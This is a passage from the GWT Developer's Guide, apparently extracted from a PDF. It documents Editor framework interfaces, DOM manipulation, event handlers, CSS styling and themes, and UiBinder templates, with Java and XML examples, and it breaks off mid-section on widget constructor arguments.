In addition to the Editor interface, the Editor framework looks for these specific interfaces to provide basic building blocks for more complicated Editor behaviors. This section will document these interfaces and provide examples of how the Editor framework will interact with the API at runtime. All of these core Editor sub-interface can be mixed at will.

LeafValueEditor
LeafValueEditor is used for non-object, immutable, or any type that the Editor framework should not descend into. 1. setValue() is called with the value that should be edited (e.g. fooEditor.setValue(bean.getFoo());). 2. getValue() is called when the Driver is flushing the state of the Editors into the bean. The value returned from this method will be assigned to the bean being edited (e.g. bean.setFoo(fooEditor.getValue());).

HasEditorDelegate
HasEditorDelegate provides an Editor with its peer EditorDelegate. 1. setEditorDelegate() is called before any value initialization takes place.

ValueAwareEditor
ValueAwareEditor may be used if an Editor's behavior depends on the value that it is editing, or if the Editor requires explicit flush notification. 1. setEditorDelegate() is called, per HasEditorDelegate super-interface. 2. setValue() is called with the value that the Editor is responsible for editing. If the value will affect with subeditors are or are not provided to the framework, they should be initialized or nullified at this time. 3. If EditorDelegate.subscribe() has been called, the Editor may receive subsequent calls to onPropertyChange() or setValue() at any point in time. 4. flush() is called in a depth-first manner by the driver, so Editors generally do not flush their sub-Editors. Editors that directly mutate their peer object should do so only when flush() is called in order to allow an edit workflow to be canceled.

CompositeEditor
CompositeEditor allows an unknown number of homogenous sub-Editors to be added to the Editor hierarchy at runtime. In addition to the behavior described for ValueAwareEditor, CompositeEditor has the following additional APIs: 1. createEditorForTraversal() should return a canonical sub-editor instance that will be used by the driver for computing all edited paths. If the composite editor is editing a Collection, this method solves the problem of having no sub-Editors available to examine for an empty Collection. 2. setEditorChain() provides the CompositeEditor with access to the EditorChain, which allows the component sub-Editors to be attached and detached from the Editor hierarchy. 3. getPathElement() is called by the Editor framework for each attached component sub-Editor in order to compute the return value for EditorDelegate.getPath(). A CompositeEditor that is editing an indexable datastructure, such as a List, might return [index] for this method.

HasEditorErrors
HasEditorErrors indicates that the Editor wishes to receive any unconsumed errors reported by sub-Editors through EditorDelegate.recordError(). The Editor may mark an EditorError as consumed by calling EditorError.setConsumed().

Provided Adapters
The GWT distribution provides the following Editor adapter classes that provide reusable logic. To reduce the amount of generics boilerplate, most types are equipped with a static of() method to instantiate the adapter type. • HasDataEditor adapts a List<T> to a HasData<T>. 250 / 469

• •

HasTextEditor adapts the HasText interface to LeafValueEditor<String>. • • • • New widgets should prefer TakesValue<String> over HasText. The ListEditor is created with a user-provided EditorSource which vends sub-Editors (usually Widget subtypes). Changes made to the structure of the List returned by ListEditor.getList() will be reflected in calls made to the EditorSource. Sample code. ListEditor keeps a List<T> in sync with a list of sub-Editors.

• • • • •

OptionalFieldEditor can be used with nullable or resettable bean properties. SimpleEditor can be used as a headless property Editor TakesValueEditor adapts a TakesValue<T> to a LeafValueEditor<T> ValueBoxEditor adapts a ValueBoxBase<T> to a LeafValueEditor<T>. If the getValueOrThrow() method throws a ParseException, the exception will reported via an EditorError. ValueBoxEditorDecorator is a simple UI decorator that combines a ValueBoxBase with a Label to show any parse errors from the contained ValueBoxBase.

Driver types
The GWT Editor framework provides the following top-level drivers: • • SimpleBeanEditorDriver can be used with any bean-like object. • It does not provide support for update subscriptions. RequestFactoryEditorDriver is designed to integrate with RequestFactory and edit EntityProxy subtypes. • • This driver type requires a RequestContext in order to automatically RequestContext.edit() on any EntityProxy instances that are encountered. call

Subscriptions are supported by listening for EntityProxyChange events on the RequestFactory's EventBus.

FAQ
Editor vs. IsEditor
Q: Should my Widget implement an Editor interface or IsEditor? A: If the Widget contains multiple sub-Editors is a simple, static hierarchy, use the Editor interface. The IsEditor interface is intended to be used when a view type is reusing an Editor behavior provided by an external type. For instance, a LabelDecorator type would implement IsEditor because it re-uses its Label's existing Editor behavior:
class LabelDecorator extends Composite implements IsEditor<LeafValueEditor<String>> { private final Label wrapped = new Label(); public LabelDecorator() { // Construct a pretty UI around the wrapped label initWidget(prettyContents); } public LeafValueEditor<String> asEditor() { return wrapped.asEditor(); } }

Similarly a WorkgroupMembershipEditor might implement IsEditor<ListEditor<Person, PersonNameLabel>>.

251 / 469

Read-only Editors
Q: Can I use Editors to view read-only data? A: Yes, just don't call the flush() method on the driver type. RequestFactoryEditorDriver has a convenience display() method as well.

Very large objects
Q: How can I edit objects with a large number of properties? A: An Editor doesn't have to edit all of the properties of its peer domain object. If you had a BagOfState type with many properties, it might make sense to write several Editor types that edit conceptually-related subsets of the properties:
class BagOfStateBiographicalEditor implements Editor<BagOfState> { AddressEditor address; Label name; } class BagOfStateUserPreferencesEditor implements Editor<BagOfState> { CheckBox likesCats; CheckBox likesDogs; }

Whether or not these editors are displayed all at the same time or sequentially is a user experience issue. The Editor framework allows multiple Editors to edit the same object:
class HasBagOfStateEditor implements Editor<HasBagOfState> { @Editor.Path("state") BagOfStateBiographicalEditor bio; @Editor.Path("state") BagOfStateUserPreferencesEditor prefs; }

4.4.8.

Working with the DOM 4.4.8.1. Accessing the Browser's DOM

Browsers provide an interface to examine and manipulate the on-screen elements using the DOM (Document Object Model). Traditionally, JavaScript programmers use the DOM to program the user interface portion of their logic, and traditionally, they have had to account for the many differences in the implementation of the DOM on different browsers. So that you don't have to worry (generally) about cross-browser support when implementing user interfaces, GWT provides a set of widget and panel classes that wrap up this functionality. But sometimes you need to access the DOM. For example, if you want to: • • • • • provide a feature in your user interface that GWT does not support write a new Widget class access an HTML element defined directly in the host page handle browser Events at a low level perform some filtering or other processing on an HTML document loaded into the browser

GWT provides the classes in the DOM package for interacting with the DOM directly. These classes provide staticallytyped interfaces for interacting with DOM objects, as well as a degree of cross-browser abstraction.

4.4.8.2.

Using the DOM to manipulate a widget

Each widget and panel has an underlying DOM element that you can access with the getElement() method. You can use the getElement() method to get the underlying element from the DOM.

252 / 469

The following example shows how to set a style attribute to change a widget's background color.
private HTML htmlWidget; // Other code to instantiate the widget... // Change the description background color. htmlWidget.getElement().getStyle().setBackgroundColor("#ffee80"); Here, the getElement() method derived from the Widget superclass returns a DOM Element object representing a node in the DOM tree structure and adds a style attribute to it.

This is an example where using the DOM isn't absolutely necessary. An alternative approach is to use style sheets and associate different style classes to the widget using the setStylePrimaryName() or setStyleName() method instead.

4.4.8.3.

Finding an element in the DOM

The following example shows how to combine a JSNI method with Java code to manipulate the DOM. First, we have a JSNI routine that will retrieve all the child elements that are Anchor tags. The element objects are assigned a unique ID for easy access from Java:
/** * Find all child elements that are anchor tags, * assign a unique id to them, and return a list of * the unique ids to the caller. */ private native void putElementLinkIDsInList(Element elt, ArrayList<String> list) /*-{ var links = elt.getElementsByTagName("a"); for (var i = 0; i < links.length; i++ ) { var link = links.item(i); link.id = ("uid-a-" + i); list.@java.util.ArrayList::add(Ljava/lang/Object;) (link.id); } }-*/;

And what could you possibly do with a DOM element once you have found it? This code iterates through all the anchor tags returned from the above method and then rewrites where it points to:
/** * Find all anchor tags and if any point outside the site, * redirect them to a "blocked" page. */ private void rewriteLinksIterative() { ArrayList<String> links = new ArrayList<String>(); putElementLinkIDsInList(this.getElement(), links); for (int i = 0; i < links.size(); i++) { Element elt = Document.get().getElementById(links.get(i)); rewriteLink(elt, "www.example.com"); } } /** * Block all accesses out of the website that don't match 'sitename' * @param element An anchor link element * @param sitename name of the website to check. e.g. "www.example.com" */ private void rewriteLink(Element element, sitename) { String href = element.getPropertyString("href"); if (null == href) { return; } // We want to re-write absolute URLs that go outside of this site if (href.startsWith("http://") && !href.startsWith("http://"+sitename+"/") { element.setPropertyString("href", "http://"+sitename+"/Blocked.html"); } }

The JSNI method sets an ID on each element which we then used as an argument to Document.getElementById(id) to fetch the Element in Java.

253 / 469

4.4.8.4.

Using the DOM to capture a browser event

GWT contains an Event class as a typed interface to the native DOM Event. This example shows how to use the DOM methods to catch a keyboard event for particular elements and handle them before the event gets dispatched:
private ArrayList<Element> keyboardEventReceivers = new ArrayList<Element>(); /** * Widgets can register their DOM element object if they would like to be a * trigger to intercept keyboard events */ public void registerForKeyboardEvents(Element e) { this.keyboardEventReceivers.add(e); } /** * Returns true if this is one of the keys we are interested in */ public boolean isInterestingKeycode(int keycode) { // ... return false; } /** * Setup the event preview class when the module is loaded. */ private void setupKeyboardShortcuts() { // Define an inner class to handle the event Event.addNativePreviewHandler(new NativePreviewHandler() { public void onPreviewNativeEvent(NativePreviewEvent preview) { NativeEvent event = preview.getNativeEvent(); Element elt = event.getEventTarget().cast(); int keycode = event.getKeyCode(); boolean ctrl = event.getCtrlKey(); boolean shift = event.getShiftKey(); boolean alt = event.getAltKey(); boolean meta = event.getMetaKey(); if (event.getType().equalsIgnoreCase("keypress") || ctrl || shift || alt || meta || keyboardEventReceivers.contains(elt) || !isInterestingKeycode(keycode)) { // Tell the event handler to continue processing this event. return; } GWT.log("Processing Keycode" + keycode, null); handleKeycode(keycode); // Tell the event handler that this event has been consumed preview.consume(); } }); } /** * Perform the keycode specific processing */ private void handleKeycode(int keycode) { switch (keycode) { // ... } }

4.4.9.

Event Handlers

Events in GWT use the handler model similar to other user interface frameworks. A handler interface defines one or more methods that the widget calls to announce an event. A class wishing to receive events of a particular type implements the associated handler interface and then passes a reference to itself to the widget to subscribe to a set of events. The Button class, for example, publishes click events. The associated handler interface is ClickHandler. The following example demonstrates how to add a custom ClickHandler subclass to an instance of a Button:

254 / 469

public void anonClickHandlerExample() { Button b = new Button("Click Me"); b.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { // handle the click event } }); }

Using anonymous inner classes as in the above example can use excessive memory for a large number of widgets, since it results in the creation of many handler objects. Instead of creating separate instances of the ClickHandler object for each widget that needs to be listened to, a single handler can be shared between many widgets. Widgets declare themselves as the source of an event when they invoke a handler method, allowing a single handler to distinguish between multiple event publishers with an event object's getSource() method. This makes better use of memory but requires slightly more code, as shown in the following example:
public class HandlerExample extends Composite implements ClickHandler { private FlowPanel fp = new FlowPanel(); private Button b1 = new Button("Button 1"); private Button b2 = new Button("Button 2"); public HandlerExample() { initWidget(fp); fp.add(b1); fp.add(b2); b1.addClickHandler(this); b2.addClickHandler(this); } public void onClick(ClickEvent event) { // note that in general, events can have sources that are not Widgets. Widget sender = (Widget) event.getSource(); if (sender == b1) { // handle b1 being clicked } else if (sender == b2) { // handle b2 being clicked } } }

4.4.10.
• • • • •

Working with CSS

Like most web applications, GWT applications use cascading style sheets (CSS) for visual styling. Styling Existing Widgets Complex Styles Associating CSS Files GWT Visual Themes Documentation

Styling Existing Widgets
GWT widgets rely on cascading style sheets (CSS) for visual styling. In GWT, each class of widget has an associated style name that binds it to a CSS rule. Furthermore, you can assign an id to a particular component to create a CSS rule that applies just to that one component. By default, the class name for each component is gwt-<classname>. For example, the Button widget has a default style of gwt-Button. In order to give all buttons a larger font, you could put the following rule in your application's CSS file:
.gwt-Button { font-size: 150%; }

All of the widgets created with the GWT toolkit will have a default class name, but a widget's style name can be set using setStyleName(). Static elements can have their class set in the HTML source code for your application. Another way to use style sheets is to refer to a single widget. For that, you would need to know the value of the id attribute for the widget or DOM element.

255 / 469

By default, neither the browser nor GWT creates default id attributes for widgets. You must explicitly create an id for the elements you want to refer to in this manner, and you must insure that each "id" value is unique. A common way to do this is to set them on static elements in your HTML host page
<div id="my-button-id"/>

To set the id for a GWT widget, retrieve its DOM Element and then set the id attribute as follows:
Button b = new Button(); DOM.setElementAttribute(b.getElement(), "id", "my-button-id")

This would allow you to reference a specific widget in a style sheet as follows:
#my-button-id { font-size: 100%; }

Complex Styles
Some widgets have multiple styles associated with them. MenuBar, for example, has the following styles:
.gwt-MenuBar { /* properties applying to the menu bar itself */ } .gwt-MenuBar .gwt-MenuItem { /* properties applying to the menu bar's menu items */ } .gwt-MenuBar .gwt-MenuItem-selected { /* properties applying to the menu bar's selected menu items */ }

In the above style sheet code, there are two style rules that apply to menu items. The first applies to all menu items (both selected and unselected), while the second (with the -selected suffix) applies only to selected menu items. A selected menu item's style name will be set to "gwt-MenuItem gwt-MenuItem-selected", specifying that both style rules will be applied. The most common way of doing this is to use setStyleName to set the base style name, then addStyleName() and removeStyleName() to add and remove the second style name.

Associating CSS Files
There are multiple approaches for associating CSS files with your module: • • • • Using a <link> tag in the host HTML page. Using the <stylesheet> element in the module XML file. Using a CssResource contained within a ClientBundle. Using an inline <ui:style> element in a UiBinder template.

Modern GWT applications typically use a combination of CssResource and UiBinder. Older applications should use only one of the first two choices.

Including Style sheets in the HTML Host Page (Deprecated)
Typically, style sheets are placed in a package that is part of your module's public path. All you need to do to reference them is simply include a <link> to the style sheet in your host page, such as:
<link rel="stylesheet" href="mystyles.css" type="text/css"/>

Including Style sheets in the Module XML file (Deprecated)
Another way to include your style sheet within your module is to use the <stylesheet> element in your module XML file. This uses automatic resource inclusion to bundle the .css file with your module. The difference between using a <link> tag in HTML and the <stylesheet> element in your module XML file is that

256 / 469

with the mdoule XML file approach, the style sheet will always follow your module, no matter which host HTML page you deploy it from. Why does this matter? Because if you create and share a module, it does not include a host page and therefore, you cannot guarantee the style sheet's availability. Automatic Resource Inclusion solves this problem. If you do not care about sharing or re-using your module then you can just use the standard HTML link rel stuff in the host page. Tip: Use a unique name for the .css file with included resources to avoid collisions. If you automatically include "styles.css" and share your module and someone puts it on a page that already has "styles.css" there will be problems.

GWT Visual Themes
GWT comes with three default visual themes that you can choose from: standard, chrome, and dark. The standard theme uses subtle shades of blue to create an lively user interface. The chrome theme uses gray scale backgrounds for a refined, professional look. The dark theme uses dark shades of gray and black with bright indigo highlights for a bold, eye catching experience. When you inherit a visual theme, almost all widgets will have some default styles associated with them. The visual themes allow you to focus more time on application development and less time on styling your application. By default, new GWT applications use the standard theme, but you can select any one of the themes mentioned above. Open your module XML file (gwt.xml) and uncomment the line that inherits the theme of your choice.
<!-- Inherit the default GWT style sheet. You can change --> <!-- the theme of your GWT application by uncommenting --> <!-- any one of the following lines. --> <!-- <inherits name='com.google.gwt.user.theme.standard.Standard'/> --> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> --> <inherits name="com.google.gwt.user.theme.dark.Dark"/>

GWT visual themes also come in RTL (right-to-left) versions if you are designing a website for a language that is written right-to-left, such as Arabic. You can include the RTL version by adding RTL to the end of the module name:
<inherits name="com.google.gwt.user.theme.dark.DarkRTL"/>

Bandwidth Sensitive Applications
If you are program a bandwidth sensitive application, such as a phone application, you may not want to require that users download the entire style sheet associated with your favorite theme (about 27k). Alternatively, you can create your own stripped down version of the style sheet that only defines the styles applicable to your application. To do this, first include the public resources associated with one of the themes by adding the following line to your gwt.xml file:
<inherits name='com.google.gwt.user.theme.standard.StandardResources'/>

Each theme has a "Resources" version that only includes the public resources associated with the theme, but does not inject a style sheet into the page. You will need to create a new style sheet and inject it into the page as described in the sections above. Finally, copy the contents of the file public/gwt/standard/standard.css style sheet located in the package com.google.gwt.user.theme.standard into your new style sheet. Strip out any styles you do not want to include, reducing the size of the file. When you run your application, GWT will inject your stripped down version of the style sheet, but you can still reference the files associate with the standard visual theme.

257 / 469

4.4.11.

Declarative UI with UiBinder

This document explains how to build Widget and DOM structures from XML markup using UiBinder, introduced with GWT 2.0. It does not cover binder's localization features—read about them in Internationalization - UiBinder. 1. Overview 2. Hello World 3. Hello Composite World 4. Using Panels 5. HTML entities 6. Simple binding of event handlers 7. Hello Stylish World 8. Programmatic access to inline Styles 9. Using an external resource with a UiBinder 10. Share resource instances 11. Using a widget that requires constructor args 12. Apply different XML templates to the same widget Note: As of GWT 2.3, UiBinder HTML rendering uses SafeHtml. However, this new HTML rendering is currently off (set to false) by default, but can be turned on (set to true) using the useSafeHtmlTemplate property for UiBinder.gwt.xml. For more information on SafeHtml, see Developer's Guide - SafeHtml.

4.4.11.1. Overview
At heart, a GWT application is a web page. And when you're laying out a web page, writing HTML and CSS is the most natural way to get the job done. The UiBinder framework allows you to do exactly that: build your apps as HTML pages with GWT widgets sprinkled throughout them. Besides being a more natural and concise way to build your UI than doing it through code, UiBinder can also make your app more efficient. Browsers are better at building DOM structures by cramming big strings of HTML into innerHTML attributes than by a bunch of API calls. UiBinder naturally takes advantage of this, and the result is that the most pleasant way to build your app is also the best way to build it. UiBinder... • • • • • • • helps productivity and maintainability — it's easy to create UI from scratch or copy/paste across templates; makes it easier to collaborate with UI designers who are more comfortable with XML, HTML and CSS than Java source code; provides a gradual transition during development from HTML mocks to real, interactive UI; encourages a clean separation of the aesthetics of your UI (a declarative XML template) from its programmatic behavior (a Java class); performs thorough compile-time checking of cross-references from Java source to XML and vice-versa; offers direct support for internationalization that works well with GWT's i18n facility; and encourages more efficient use of browser resources by making it convenient to use lightweight HTML elements rather than heavier-weight widgets and panels.

But as you learn what UiBinder is, you should also understand what it is not. It is not a renderer. There are no loops, no conditionals, no if statements in its markup. UiBinder allows you to lay out your widgets. It's still up to the widgets themselves to convert rows of data into rows of HTML. The rest of this page explains how to use UiBinder through a series of typical use cases. You'll see how to lay out a UI, how to style it, and how to attach event handlers to it. Internationalization - UiBinder explains how to internationalize it. Quick start: If instead you want to jump right in to the code, take a peek at this patch. It includes the work to change the venerable Mail sample to use UiBinder. Look for pairs of files like Mail.java and Mail.ui.xml.

258 / 469

4.4.11.2. Hello World
Here's a very simple example of a UiBinder template that contains no widgets, only HTML:
<!-- HelloWorld.ui.xml --> <ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <div> Hello, <span ui:field='nameSpan'/>. </div> </ui:UiBinder>

Now suppose you need to programatically read and write the text in the span (the one with the ui:field='nameSpan' attribute) above. You'd probably like to write actual Java code to do things like that, so UiBinder templates have an associated owner class that allows programmatic access to the UI constructs declared in the template. An owner class for the above template might look like this:
public class HelloWorld extends UIObject { // Could extend Widget instead interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField SpanElement nameSpan; public HelloWorld() { // createAndBindUi initializes this.nameSpan setElement(uiBinder.createAndBindUi(this)); } public void setName(String name) { nameSpan.setInnerText(name); } }

You then instantiate and use the owner class as you would any other chunk of UI code. We'll see examples later that demonstrate how to use widgets with UiBinder, but this example uses direct DOM manipulation:
HelloWorld helloWorld = new HelloWorld(); Document.get().getBody().appendChild(helloWorld.getElement()); helloWorld.setName("World");

UiBinder instances are factories that generate a UI structure and glue it to an owning Java class. The UiBinder<U, O> interface declares two parameter types: • • U is the type of root element declared in the ui.xml file, returned by the createAndBindUi call O is the owner type whose @UiFields are to be filled in.

(In this example U is DivElement and O is HelloWorld.) Any object declared in the ui.xml file, including any DOM elements, can be made available to the owning Java class through its field name. Here, a <span> element in the markup is given a ui:field attribute set to nameSpan. In the Java code, a field with the same name is marked with the @UiField annotation. When uiBinder.createAndBindUi(this) is run, the field is filled with the appropriate instance of SpanElement. The Java class we create here happens to extend UiObject, but it could just as easily extend Widget. Or Composite. Or Object. There are no restrictions. However, do note that the fields marked with @UiField have default visibility. If they are to be filled by a binder, they cannot be private.

259 / 469

4.4.11.3. Hello Widget World
Here's an example of a UiBinder template that uses widgets:
<!-- HelloWidgetWorld.ui.xml --> <ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <g:HTMLPanel> Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>. </g:HTMLPanel> </ui:UiBinder> public class HelloWidgetWorld extends Composite { interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField ListBox listBox; public HelloWidgetWorld(String... names) { // sets listBox initWidget(uiBinder.createAndBindUi(this)); for (String name : names) { listBox.addItem(name); } } } // Use: HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");

Note that we're using widgets, and also creating a widget. The HelloWorldWidget can be added to any panel class. In order to use a set of widgets in a ui.xml template file, you need to tie their package to an XML namespace prefix. That's what's happening in this attribute of the root <ui:uibinder> element: xmlns:g='urn:import:com.google.gwt.user.client.ui'. This says that every class in the com.google.gwt.user.client.ui package can be used as an element with prefix g and a tag name matching its Java class name, like <g:ListBox>. See how the g:ListBox element has a visibleItemCount='1' attribute? That becomes a call to ListBox#setVisibleItemCount(int). Every one of the widget's methods that follow JavaBean-style conventions for setting a property can be used this way. Pay particular attention to the use of an HTMLPanel instance. HTMLPanel excels at mingling arbitrary HTML and widgets, and UiBinder works very well with HTMLPanel. In general, any time you want to use HTML markup inside of a widget hierarchy, you'll need an instance of HTMLPanel or the HTML Widget.

4.4.11.4. Using Panels
Any panel (in theory, anything that implements the HasWidgets interface) can be used in a template file, and can have other panels inside of it.
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <g:HorizontalPanel> <g:Label>Keep your ducks</g:Label> <g:Label>in a row</g:Label> </g:HorizontalPanel> </ui:UiBinder>

Some stock GWT widgets require special markup, which you'll find described in their javadoc. Here's how DockLayoutPanel works:

260 / 469

<g:DockLayoutPanel unit='EM'> <g:north size='5'> <g:Label>Top</g:Label> </g:north> <g:center> <g:Label>Body</g:Label> </g:center> <g:west size='10'> <g:HTML> <ul> <li>Sidebar</li> <li>Sidebar</li> <li>Sidebar</li> </ul> </g:HTML> </g:west> </g:DockLayoutPanel>

The DockLayoutPanel's children are gathered in organizational elements like <g:north> and <g:body>. Unlike almost everything else that appears in the template, they do not represent runtime objects. You can't give them ui:field attributes, because there would be nothing to put in the field in your Java class. This is why their names are not capitalized, to give you a clue that they're not "real". You'll find that other special non-runtime elements follow the same convention. Another thing to notice is that we can't put HTML directly in most panels, but only in widgets that know what to do with HTML, specifically, HTMLPanel, and widgets that implement the HasHTML interface (such as the sidebar under <g:west>). Future releases of GWT will probably drop this restriction, but in the meantime it's up to you to place your HTML into HTML-savvy widgets.

4.4.11.5. HTML entities
UiBinder templates are XML files, and XML doesn't understand entities like &nbsp;. When you need such characters, you have to define them yourself. As a convenience, we provide a set of definitions that you can import by setting your DOCTYPE appropriately:
<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent">

Note that the GWT compiler won't actually visit this URL to fetch the file, because a copy of it is baked into the compiler. However, your IDE may fetch it.

4.4.11.6. Simple binding of event handlers
One of UiBinder's goals is to reduce the tedium of building user interfaces in Java code, and few things in Java require more mind-numbing boilerplate than event handlers. How many times have you written something like this?
public class MyFoo extends Composite { Button button = new Button(); public MyFoo() { button.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { handleClick(); } }); initWidget(button); } void handleClick() { Window.alert("Hello, AJAX"); } }

In a UiBinder owner class, you can use the @UiHandler annotation to have all of that anonymous class nonsense written for you.

261 / 469

public class MyFoo extends Composite { @UiField Button button; public MyFoo() { initWidget(button); } @UiHandler("button") void handleClick(ClickEvent e) { Window.alert("Hello, AJAX"); } }

However, there is one limitation (at least for now): you can only use @UiHandler with events thrown by widget objects, not DOM elements. That is, <g:Button>, not <button>.

4.4.11.7. Hello Stylish World
With the <ui:style> element, you can define the CSS for your UI right where you need it. Note: <ui:style> elements must be direct children of the root element. The same is true of the other resource elements (<ui:image> and <ui:data>).

<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style> .pretty { background-color: Skyblue; } </ui:style> <div class='{style.pretty}'> Hello, <span ui:field='nameSpan'/>. </div> </ui:UiBinder>

A CssResource interface is generated for you, along with a ClientBundle. This means that the compiler will warn you if you misspell the class name when you try to use it (e.g. {style.prettty}). Also, your CSS class name will be obfuscated, thus protecting it from collision with like class names in other CSS blocks—no more global CSS namespace! In fact, you can take advantage of this within a single template:
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style> .pretty { background-color: Skyblue; } </ui:style> <ui:style field='otherStyle'> .pretty { background-color: Orange; } </ui:style> <div class='{style.pretty}'> Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>. </div> </ui:UiBinder>

Finally, you don't have to have your CSS inside your ui.xml file. Most real world projects will probably keep their CSS in a separate file. In the example given below, the src values are relative to the location of the ui.xml file.
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style src="MyUi.css" /> <ui:style field='otherStyle' src="MyUiOtherStyle.css"> <div class='{style.pretty}'> Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>. </div> </ui:UiBinder>

And you can set style on a widget, not just HTML. Use the styleName attribute to override whatever CSS styling the widget defaults to (just like calling setStyleName() in code). Or, to add class names without clobbering the widget's baked in style settings, use the special addStyleNames attribute:

262 / 469

<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <ui:style> .hot { color: magenta; } .pretty { background-color: Skyblue; } </ui:style> <g:PushButton styleName='{style.pretty}'>This button doesn't look like one</g:PushButton> <g:PushButton addStyleNames='{style.pretty} {style.hot}'>Push my hot button!</g:PushButton> </ui:UiBinder>

Note that addStyleNames is plural.

4.4.11.8. Programmatic access to inline Styles
Your code will need access to at least some of the styles your template uses. For example, suppose your widget needs to change color when it's enabled or disabled:
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'> <ui:style type='com.my.app.MyFoo.MyStyle'> .redBox { background-color:pink; border: 1px solid red; } .enabled { color:black; } .disabled { color:gray; } </ui:style> <div class='{style.redBox} {style.enabled}'>I'm a red box widget.</div> </ui:UiBinder> public class MyFoo extends Widget { interface MyStyle extends CssResource { String enabled(); String disabled(); } @UiField MyStyle style; /* ... */ void setEnabled(boolean enabled) { getElement().addClassName(enabled ? style.enabled() : style.disabled()); getElement().removeClassName(enabled ? style.disabled() : style.enabled()); } }

The <ui:style> element has a new attribute, type='com.my.app.MyFoo.MyStyle'. That means that it needs to implement that interface (defined in the Java source for the MyFoo widget below) and provide the two CSS classes it calls for, enabled and disabled. Now look at the @UiField MyStyle style; field in MyFoo.java. That gives the code access to the CssResource generated for the <ui:style> block. The setEnabled method uses that field to apply the enabled and disabled styles as the widget is turned on and off. You're free to define as many other classes as you like in a style block with a specified type, but your code will have access only to those required by the interface.

4.4.11.9. Using an external resource
Sometimes your template will need to work with styles or other objects that come from outside of your template. Use the <ui:with> element to make them available.

263 / 469

<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui'> <ui:with field='res' type='com.my.app.widgets.logoname.Resources'/> <g:HTMLPanel> <g:Image resource='{res.logo}'/> <div class='{res.style.mainBlock}'> <div class='{res.style.userPictureSprite}'/> <div> Well hello there <span class='{res.style.nameSpan}' ui:field='nameSpan'/> </div> </div> </g:HTMLPanel> </ui:UiBinder>

/** * Resources used by the entire application. */ public interface Resources extends ClientBundle { @Source("Style.css") Style style(); @Source("Logo.jpg") ImageResource logo(); public interface Style extends CssResource { String mainBlock(); String nameSpan(); Sprite userPictureSprite(); } }

The "with" element declares a field holding a resource object whose methods can be called to fill in attribute values. In this case it will be instantiated via a call to GWT.create(Resources.class). (Read on to see how pass an instance in instead of having it created for you.) Note that there is no requirement that a ui:with resource implement the ClientBundle interface; this is just an example.

4.4.11.10.Share resource instances
You can make resources available to your template via the <ui:with> element, but at the cost of having them instantiated for you. If instead you want your code to be in charge of finding or creating that resource, you have two means to take control. You can mark a factory method with @UiFactory, or you can fill in a field yourself and annotate it as @UiField(provided = true). Here's how to use @UiFactory to provide the Resources instance needed by the template in the previous example.
public class LogoNamePanel extends Composite { interface MyUiBinder extend UiBinder<Widget, LogoNamePanel> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField SpanElement nameSpan; final Resources resources; public LogoNamePanel(Resources resources) { this.resources = resources; initWidget(uiBinder.createAndBindUi(this)); } public void setUserName(String userName) { nameSpan.setInnerText(userName); } @UiFactory /* this method could be static if you like */ public Resources getResources() { return resources; } }

Any field in the template that is of type Resources will be instantiated by a call to getResources. If your factory method needs arguments, those will be required as attributes. You can make things more concise, and have finer control, by using @UiField(provided = true).

264 / 469

public class LogoNamePanel extends Composite { interface MyUiBinder extends UiBinder<Widget, LogoNamePanel> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField SpanElement nameSpan; @UiField(provided = true) final Resources resources; public LogoNamePanel(Resources resources) { this.resources = resources; initWidget(uiBinder.createAndBindUi(this)); } public void setUserName(String userName) { nameSpan.setInnerText(userName); } }

4.4.11.11. Using a widget that requires constructor args
Every widget that is declared in a template is created by a call to GWT.create(). In most cases this means that they must be default instantiable; that is, they must provide a zero-argument constructor. However, there are a few ways to get around that. In addition to the @UiFactory and @UiField(provided = true) mechanisms described above, you can mark your own widgets with the @UiConstructor annotation. Suppose you have an existing widget that needs constructor arguments:
public CricketScores(String... teamNames) {...}

You use it in a template:
<!-- UserDashboard.ui.xml --> <ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui' xmlns:my='urn:import:com.my.app.widgets' > <g:HTMLPanel> <my:WeatherReport ui:field='weather'/> <my:Stocks ui:field='stocks'/> <my:CricketScores ui:field='scores' /> </g:HTMLPanel> </ui:UiBinder> public class UserDashboard extends Composite { interface MyUiBinder extends UiBinder<Widget, UserDashboard> {} private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class); public UserDashboard() { initWidget(uiBinder.createAndBindUi(this)); } }

An error results:
[ERROR] com.my.app.widgets.CricketScores has no default (zero args) constructor. To fix this, you can define a @UiFactory method on the UiBinder's owner, or annotate a constructor of CricketScores with @UiConstructor.

So you either make the @UiFactory method...

265 / 469

